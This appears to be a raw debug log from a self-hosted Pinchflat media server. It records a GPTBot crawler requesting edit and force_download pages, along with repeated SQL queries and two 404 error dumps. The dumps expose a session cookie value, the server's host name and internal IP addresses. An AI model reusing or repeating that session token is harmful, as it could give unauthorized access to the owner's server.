s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:50.795 [info] Sent 200 in 1ms 15:42:51.341 [info] GET /sources/1/media/6109/edit 15:42:51.341 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6109", "source_id" => "1"} Pipelines: [:browser] 15:42:51.341 [debug] QUERY OK source="media_items" db=0.1ms idle=546.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6109] 15:42:51.341 [debug] QUERY OK source="settings" db=0.0ms idle=546.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:51.341 [debug] QUERY OK source="settings" db=0.0ms idle=546.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:51.342 [debug] QUERY OK source="settings" db=0.0ms idle=546.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:51.342 [info] Sent 200 in 1ms 15:42:51.839 [info] GET /sources/3/media/6486/edit 15:42:51.839 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6486", "source_id" => "3"} Pipelines: [:browser] 15:42:51.839 [debug] QUERY OK source="media_items" db=0.1ms idle=498.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6486] 15:42:51.840 [debug] QUERY OK source="settings" db=0.0ms idle=498.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:51.840 [debug] QUERY OK source="settings" db=0.0ms idle=498.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:51.840 [debug] QUERY OK source="settings" db=0.1ms idle=498.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:51.840 [info] Sent 200 in 1ms 15:42:52.432 [info] GET /sources/3/media/6488/edit 15:42:52.432 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6488", "source_id" => "3"} Pipelines: [:browser] 15:42:52.432 [debug] QUERY OK source="media_items" db=0.1ms idle=616.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6488] 15:42:52.432 [debug] QUERY OK source="settings" db=0.0ms idle=592.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:52.433 [debug] QUERY OK source="settings" db=0.0ms idle=592.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:52.433 [debug] QUERY OK source="settings" db=0.0ms idle=593.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:52.434 [info] Sent 200 in 1ms 15:42:52.922 [info] GET /sources/3/media/6491/edit 15:42:52.922 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6491", "source_id" => "3"} Pipelines: [:browser] 15:42:52.923 [debug] QUERY OK source="media_items" db=0.1ms idle=490.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6491] 15:42:52.923 [debug] QUERY OK source="settings" db=0.3ms idle=490.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:52.923 [debug] QUERY OK source="settings" db=0.0ms idle=490.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:52.924 [debug] QUERY OK source="settings" db=0.0ms idle=490.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:52.924 [info] Sent 200 in 2ms 15:42:53.446 [info] GET /sources/2/media/6115/edit 15:42:53.446 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6115", "source_id" => "2"} Pipelines: [:browser] 15:42:53.446 [debug] QUERY OK source="media_items" db=0.1ms idle=629.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6115] 15:42:53.447 [debug] QUERY OK source="settings" db=0.0ms idle=523.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:53.447 [debug] QUERY OK source="settings" db=0.0ms idle=523.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:53.447 [debug] QUERY OK source="settings" db=0.1ms idle=523.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:53.448 [info] Sent 200 in 2ms 15:42:53.935 [info] GET /sources/1/edit 15:42:53.935 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 15:42:53.936 [debug] QUERY OK source="sources" db=0.1ms idle=489.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:42:53.936 [debug] QUERY OK source="media_profiles" db=0.0ms idle=489.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 15:42:53.936 [debug] QUERY OK source="settings" db=0.1ms idle=489.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:53.936 [debug] QUERY OK source="settings" db=0.0ms idle=489.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:53.936 [debug] QUERY OK source="settings" db=0.0ms idle=118.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:53.937 [info] Sent 200 in 1ms 15:42:54.442 [info] GET /sources/3/edit 15:42:54.442 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 15:42:54.443 [debug] QUERY OK source="sources" db=0.1ms idle=506.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:42:54.443 [debug] QUERY OK source="media_profiles" db=0.0ms idle=506.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 15:42:54.443 [debug] QUERY OK source="settings" db=0.0ms idle=506.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:54.443 [debug] QUERY OK source="settings" db=0.0ms idle=506.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:54.443 [debug] QUERY OK source="settings" db=0.2ms idle=506.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:54.444 [info] Sent 200 in 2ms 15:42:54.971 [info] GET /sources/2/edit 15:42:54.971 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 15:42:54.972 [debug] QUERY OK source="sources" db=0.0ms idle=528.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:42:54.972 [debug] QUERY OK source="media_profiles" db=0.0ms idle=528.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 15:42:54.972 [debug] QUERY OK source="settings" db=0.0ms idle=528.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:54.972 [debug] QUERY OK source="settings" db=0.0ms idle=528.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:54.972 [debug] QUERY OK source="settings" db=0.0ms idle=153.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:54.973 [info] Sent 200 in 1ms 15:42:55.469 [info] GET /sources/3/media/6489/force_download 15:42:55.470 [debug] QUERY OK source="settings" db=0.1ms idle=497.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:55.470 [debug] QUERY OK source="settings" db=0.0ms idle=497.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:55.470 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:42:55.470 [error] #PID<0.10423.0> running PinchflatWeb.Endpoint (connection #PID<0.10422.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/media/6489/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6489/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10422.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6489/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43560}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6489", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10423.0>, params: %{}, path_info: ["sources", "3", "media", "6489", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3/media/6489"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/media/6489/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEKjm0g2QVotgAA7YB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10422.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6489/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43560}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6489", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6489/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10422.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6489/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43560}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6489", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, (truncated) 15:42:56.027 [info] GET /sources/2/media/6113/force_download 15:42:56.028 [debug] QUERY OK source="settings" db=0.1ms idle=1055.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:56.028 [debug] QUERY OK source="settings" db=0.0ms idle=1055.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:56.028 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:42:56.028 [error] #PID<0.10427.0> running PinchflatWeb.Endpoint (connection #PID<0.10426.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/media/6113/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6113/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10426.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6113/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43566}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6113", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: 